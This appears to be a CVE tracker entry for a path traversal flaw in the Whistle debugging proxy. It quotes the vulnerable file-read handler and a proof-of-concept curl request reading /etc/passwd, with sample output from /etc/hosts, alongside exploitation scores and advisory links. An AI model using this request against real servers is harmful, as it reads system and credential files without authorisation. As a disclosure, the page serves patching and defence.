CVE-2026-55629
This bug was found by nova, which is an automated tool from group of Song Wu, intern, Zhejiang University; BoWang, independent researcher; Xingwei Lin, Zhejiang University.
Vulnerability detail:
In service.js, inside
`app.get('/cgi-bin/temp/get', ...):
var filename = req.query.filename;
if (TEMP_FILE_RE.test(filename)) {
filename = path.join(TEMP_FILES_PATH, filename);
}
getFile(filename, ...);`
Only when filename matches the temp/<hash> pattern does it get joined to the safe directory TEMP_FILES_PATH.
If it does not match that pattern, the code does not block the request. Instead, it directly uses the user-supplied filename for file reading.
In other words: if you pass passwd, it will read passwd.
POC:
curl -s "http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/passwd"
response:
sh
xiaoming@192 ~ % curl -s "http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/hosts"
{"ec":0,"value":"##\n# Host Database\n#\n# localhost is used to configure the loopback interface\n# when the system is booting. Do not change this entry.\n##\n127.0.0.1\tlocalhost\n255.255.255.255\tbroadcasthost\n::1 localhost\n199.232.68.133 raw.githubusercontent.com\n199.232.68.133 user-images.githubusercontent.com\n199.232.68.133 avatars2.githubusercontent.com\n199.232.68.133 avatars1.githubusercontent.com\n127.0.0.1 lanyundev.com\n\n127.0.0.1 www.proxifier.com\n127.0.0.1 proxifier.com\n140.82.116.4 github.com\n\n# This line is auto added by aTrustAgent, do not modify, or aTrustAgent may unable to work\n127.0.0.1\tlocalhost.sangfor.com.cn\n\n"}%
⚡ Watch CVE-2026-55629
Get an email if CVE-2026-55629 is added to CISA KEV, gains public exploit code, or a new advisory cites it — max one per day, one-click unsubscribe.
Exploitation outlook
- Low exploitation risk0.67% 30-day exploitation probability — currently an unlikely target, but scores change as exploit code circulates. Riskier than 49% of all EPSS-scored CVEs.
Advisory coverage (2)
- highGHSA-3vfr-4gwf-qxfp: Whistle vulnerable to path traversalghsa · 2026-08-25
- unknownCVE-2026-55629: Whistle is an HTTP, HTTP2, HTTPS, and WebSocket debugging proxy. Prior to 2.10.3, lib/service/…nvd · 2026-07-16
External references
Embed the live status
— this badge updates automatically when the KEV or exploit status changes. How to embed it →
[](https://www.csirts.com/cve/CVE-2026-55629)